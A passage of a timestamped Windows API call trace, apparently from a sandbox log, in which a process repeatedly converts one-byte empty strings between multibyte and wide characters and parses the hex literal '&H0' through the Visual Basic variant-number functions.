lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.844] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.844] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.844] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.844] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.845] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.845] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.846] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.846] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.846] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.847] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.848] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.848] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.849] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.849] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.850] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.850] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.850] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.850] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.851] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.851] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.852] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.852] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.852] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.853] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.853] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.853] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.854] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.854] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.855] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.855] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.855] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.855] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.856] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.856] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.857] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.857] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.857] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.858] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.858] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.858] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.858] MultiByteToWideChar (in: 